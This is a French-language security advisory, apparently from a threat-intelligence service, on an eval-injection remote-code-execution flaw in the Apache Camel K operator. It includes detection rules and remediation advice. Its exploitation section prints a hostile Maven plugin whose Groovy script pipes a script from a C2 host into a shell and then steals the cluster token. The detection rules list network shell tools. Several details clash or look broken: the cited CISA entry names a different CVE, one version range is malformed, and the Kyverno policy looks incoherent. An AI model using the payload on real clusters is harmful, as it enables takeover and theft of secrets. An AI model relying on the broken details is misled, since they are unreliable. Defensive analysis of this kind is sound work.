CVE-2026-80351 : exécution de code à distance par injection d'évaluation maven dans Apache camel k

HERMES

SCORE DE MENACE HERMES & RISQUE OPÉRATEUR CLOUD-NATIVE

Cible : Opérateur Apache Camel K — Moteur de compilation Maven dynamique & réconciliateur IntegrationKit

Confiance : 96%

92 / 100

CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 19 / 20

Activité de menace 15 / 20

Militarisation 18 / 20

Exposition 17 / 20

Prévalence 17 / 20

Impact 20 / 20

Maturité de l'exploit 18 / 20

Potentiel d'attaque en chaîne 20 / 20

⚖️ Divergence & Justification opérationnelle

Tandis que le standard CVSS v3.1 attribue à la CVE-2026-80351 un score de 9.8 (critique), Hermes évalue l'impact opérationnel systémique à 92 (CRITIQUE). Dans les architectures Kubernetes multi-locataires et les pipelines événementiels autonomes, Apache Camel K constitue le socle serverless reliant courtiers de messages, bases de données et microservices. En exploitant l'injection d'évaluation dans les configurations Maven dynamiques, un locataire non approuvé ou une charge de travail compromise s'échappe des limites du conteneur, exécute du code arbitraire au sein du pod opérateur Camel K et dérobe les secrets du cluster.

HASS

SÉVÉRITÉ AGENTIQUE HASS & DÉTOURNEMENT DE PIPELINES

Cible : Flux d'agents autonomes, connecteurs d'appel d'outils dynamiques & flux événementiels

Confiance : 97%

93 / 100

CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions

Autonomie décisionnelle 19 / 20

Accès aux outils & APIs 20 / 20

Privilege 15 / 15

Persistence 13 / 15

External Impact 15 / 15

Propagation 14 / 15

⚖️ Divergence & Justification opérationnelle

Les agents IA d'entreprise modernes (conçus avec LangChain, AutoGen ou Camel-AI) déploient dynamiquement des routes d'intégration Camel K pour interagir avec des bases vectorielles, des flux Kafka et des API SaaS. L'armement de l'injection d'évaluation Maven permet à un agent compromis ou victime d'injection de prompt de neutraliser l'environnement d'exécution central et de s'approprier les clés d'accès multi-cloud.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-80351: Remote Code Execution via Dynamic Maven Configuration Eval Injection in Apache Camel KVULNÉRABILITÉ

Nœuds connectés : 1

Relations sortantes actives

→ affectsCOMPOSANTApache Camel K

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”

Preuves vérifiées associées :

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

Le 10 septembre 2026, l’Apache Software Foundation a publié un avis de sécurité majeur concernant la CVE-2026-80351, une vulnérabilité d’injection d’évaluation affectant Apache Camel K. Apache Camel K est la plateforme d’intégration serverless native pour Kubernetes permettant d’exécuter des microservices légers directement sur Kubernetes et Red Hat OpenShift.

La faille provient de la neutralisation insuffisante des directives d’évaluation dynamique au sein des configurations de build Maven lors de la phase d’assemblage des intégrations. Lors du traitement de ressources personnalisées Integration ou IntegrationKit faisant référence à des dépôts Git contrôlés par un locataire ou fournissant des traits de build personnalisés, l’opérateur évalue dynamiquement les expressions Maven sans cloisonnement strict. Un attaquant peut injecter des directives de script arbitraires (telles que des expressions Groovy ou des blocs de code Java), aboutissant à l’exécution de code au sein du pod opérateur avec les privilèges élevés de son compte ServiceAccount.

1. Contexte technique & matrice des logiciels affectés

Apache Camel K automatise la compilation, le packaging, la conteneurisation et le déploiement de routes d’intégration Camel directement sur les clusters Kubernetes.

Paramètre	Spécification technique	Portée opérationnelle
Identifiant CVE	`CVE-2026-80351`	Bulletin officiel de l’Apache Software Foundation (Septembre 2026)
Classe de vulnérabilité	Injection d’évaluation (`CWE-95` / `CWE-94`)	Évaluation dynamique de scripts dans le cycle de vie Maven
Composant affecté	Opérateur Camel K — Moteur de compilation Maven (`pkg/util/maven`)	Réconciliateur d’IntegrationKit et évaluateur dynamique de POM
Mécanisme déclencheur	Propriétés Maven, plugins ou expressions dynamiques injectés	Fournis via le code source d’intégration ou un POM de dépôt
Privilèges requis	Aucun à Faibles (`PR:N` / `PR:L`)	Dépendant de l’exposition du cluster et de l’accès locataire
Privilèges obtenus	Administrateur de cluster Kubernetes (`cluster-admin`)	Le compte ServiceAccount de l’opérateur dispose de droits étendus
Versions affectées	`2.0.0 <= v < 2.9.3`, `2.10.1 < 2.10.2`	Déploiements Kubernetes et OpenShift multi-locataires
Versions corrigées	`2.9.3`, `2.10.2`, `2.11.0`	Imposition d’une validation stricte et d’un bac à sable de POM

2. Anatomie de la vulnérabilité & analyse de cause racine

Le pipeline d’évaluation dynamique maven

Pour transformer des routes d’intégration déclaratives en conteneurs exécutables, l’opérateur Camel K assemble un contexte de compilation éphémère. L’opérateur génère un modèle d’objet de projet Maven synthétique (pom.xml) contenant les dépendances nécessaires aux composants Camel (par ex. camel-quarkus-kafka, camel-quarkus-sql, camel-k-runtime) et invoque Maven dans un conteneur de compilation dédié.

Dans les versions antérieures à 2.9.3 et 2.10.2, Camel K permettait aux manifestes d’intégration et aux fichiers de configuration des dépôts amont de définir des propriétés Maven dynamiques et des exécutions de plugins. Durant la phase de résolution, le moteur interne de Camel K évaluait ces propriétés à la volée par interpolation de chaînes et réflexion :

// Extrait conceptuel illustrant l'évaluation dynamique non sécurisée dans Camel K
func evaluateMavenProperties(project *MavenProject, customProps map[string]string) error {
    for key, val := range customProps {
        // VULNÉRABLE : évaluation directe de directives dynamiques sans assainissement
        evaluatedVal, err := evalEngine.EvaluateExpression(val, project.Context)
        if err != nil {
            return err
        }
        project.Properties[key] = evaluatedVal
    }
    return nil
}

Lorsque des traits de compilation personnalisés ou des fichiers POM contenaient des plugins d’évaluation d’expressions (tels que gmavenplus-plugin ou des points d’ancrage dynamiques), le moteur ne restreignait pas le contexte d’exécution.

Armement via des directives maven hostiles

Un attaquant peut structurer une définition d’intégration dont le dépôt ou le trait de build incorpore un plugin Maven exécutant du code arbitraire dès les phases validate ou initialize :

<plugin>
    <groupId>org.codehaus.gmavenplus</groupId>
    <artifactId>gmavenplus-plugin</artifactId>
    <version>3.0.2</version>
    <executions>
        <execution>
            <phase>validate</phase>
            <goals>
                <goal>execute</goal>
            </goals>
            <configuration>
                <scripts>
                    <script>
                        def cmd = "curl -s https://c2.internal-audit.cloud/k8s.sh | /bin/sh"
                        cmd.execute()
                    </script>
                </scripts>
            </configuration>
        </execution>
    </executions>
</plugin>

Étant donné que la compilation s’exécute dans le pod de l’opérateur ou dans un pod de build montant le jeton du compte ServiceAccount de l’opérateur, le script injecté s’exécute directement dans le contexte du cluster. L’attaquant récupère le jeton /var/run/secrets/kubernetes.io/serviceaccount/token et émet des requêtes d’administration pour lister les secrets du cluster, instancier des pods privilégiés ou pivoter vers d’autres espaces de noms.

3. Vecteurs d’attaque & cinématique d’exécution

Le schéma d’attaque illustre comment un utilisateur disposant de droits limités tire parti de la réconciliation de build de l’opérateur pour prendre le contrôle du cluster Kubernetes.

sequenceDiagram
    autonumber
    actor Attaquant as Locataire / Agent Runner
    participant K8s as Serveur API Kubernetes
    participant Op as Pod opérateur Camel K
    participant Maven as Moteur de compilation Maven
    participant Secret as Magasin de secrets Kubernetes
    participant C2 as Serveur C2 externe

    Attaquant->>K8s: Soumission de la CR Integration avec directives Maven piégées
    K8s->>Op: Événement Watch déclenchant la réconciliation IntegrationKit
    Op->>Maven: Assemblage du pom.xml et résolution des dépendances
    Note over Maven: Déclenchement de l'évaluation dynamique d'expressions
    Maven->>Maven: Exécution de la directive Groovy/Java durant la lecture du POM
    Maven->>Op: Échappement du contexte de build & exécution de commandes shell
    Op->>Secret: Extraction du jeton ServiceAccount de l'opérateur
    Op->>K8s: Requêtes d'administration avec privilèges cluster-admin
    Op->>C2: Exfiltration des identifiants et clés d'accès aux bases
    Note over Op: Prise de contrôle totale du cluster Kubernetes

4. Triage forensique & ingénierie de détection

La détection de l’exploitation de la CVE-2026-80351 repose sur la surveillance des processus au sein des conteneurs de l’opérateur et l’audit des requêtes API issues du compte ServiceAccount.

title: Création anormale de processus dans le pod opérateur Camel K
id: 9a8b7c6d-5e4f-4a3b-2c1d-camelk-eval-rce-fr
status: experimental
description: Détecte l'apparition de shells interactifs ou d'outils réseau au sein des conteneurs de compilation ou de l'opérateur Apache Camel K, signalant l'exploitation de la CVE-2026-80351.
references:
  - https://lists.apache.org/thread/8kmxvwj9r83mhp6t465q3jdf8l84zfvq
author: Hermes Codex Cyber Intelligence
date: 2026-09-15
tags:
  - attack.execution
  - attack.t1059
  - attack.privilege_escalation
  - attack.t1611
logsource:
  category: process_creation
  product: linux
detection:
  selection_container:
    container_image|contains:
      - 'camel-k-operator'
      - 'camel-k-builder'
  selection_shell:
    Image|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/usr/bin/curl'
      - '/usr/bin/wget'
      - '/usr/bin/nc'
      - '/usr/bin/kubectl'
  condition: selection_container and selection_shell
falsepositives:
  - Hooks de compilation personnalisés explicitement documentés dans des chaînes CI/CD isolées.
level: critical

- rule: Processus enfant inattendu dans le pod opérateur Camel K
  desc: Détecte la création d'un processus non autorisé dans le pod Apache Camel K
  condition: >
    container.name startswith "camel-k-operator" and
    evt.type = execve and
    not proc.name in (kamel, java, mvn, git, tar, gzip)
  output: >
    Processus suspect dans l'opérateur Camel K (utilisateur=%user.name commande=%proc.cmdline conteneur=%container.id image=%container.image.repository)
  priority: CRITICAL
  tags: [k8s, conteneur, rce, cve-2026-80351]

// Détection de lectures anormales de secrets hors espace de noms par Camel K
KubeAudit
| where TimeGenerated > ago(24h)
| where User.username startswith "system:serviceaccount:" and User.username contains "camel-k"
| where Verb in ("get", "list") and ObjectRef.resource == "secrets"
| where ObjectRef.namespace !in ("camel-k", "default")
| project TimeGenerated, User.username, ObjectRef.namespace, ObjectRef.name, SourceIps, ResponseStatus.code
| order by TimeGenerated desc

5. Stratégie de remédiation & durcissement

Mise à niveau immédiate de l’opérateur camel k : Déployer sans délai les versions corrigées :
- Version 2.9.3 ou ultérieure (pour la branche 2.9.x).
- Version 2.10.2 ou ultérieure (pour la branche 2.10.x).
- Version 2.11.0 ou ultérieure.

Restriction des traits de compilation via un contrôleur d’admission (kyverno / OPA) : Imposer des règles de validation rejetant les CRD Integration déclarant des dépôts Maven arbitraires ou des propriétés de build non autorisées :

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: bloquer-traits-camel-k-non-autorises
spec:
  validationFailureAction: Enforce
  rules:
  - name: verifier-proprietes-maven
    match:
      resources:
        kinds: ["camel.apache.org/v1/Integration"]
    validate:
      pattern:
        =(spec):
          =(traits):
            X(builder):
              =(properties): "*eval*"

Segmentation du compte ServiceAccount de l’opérateur : Privilégier les installations confinées à un espace de noms spécifique (kamel install -n <espace-de-noms>) plutôt que les déploiements globaux avec privilèges de cluster (--global).
Politiques réseau pour les pods de compilation : Appliquer des objets NetworkPolicy stricts interdisant aux pods de compilation de joindre des registres Maven externes non répertoriés.

6. Liens croisés & renseignement connexe

Injection YAML dans le trait Master de Camel K (CVE-2026-80352) Examiner la vulnérabilité connexe d'élévation de privilèges via la génération de manifestes.

Traversée de répertoires vers RCE dans FreeMarker (CVE-2026-84939) Analyser les mécanismes d'échappement de moteurs de templates et d'exécution de code.

Désérialisation non sécurisée de modèles dans ESPnet (CVE-2026-90777) Étudier les failles de désérialisation affectant les pipelines vocaux et les agents IA.

Fiche composant Apache Camel K Accéder à la télémétrie sur 30 jours, aux matrices de versions et aux avis de sécurité.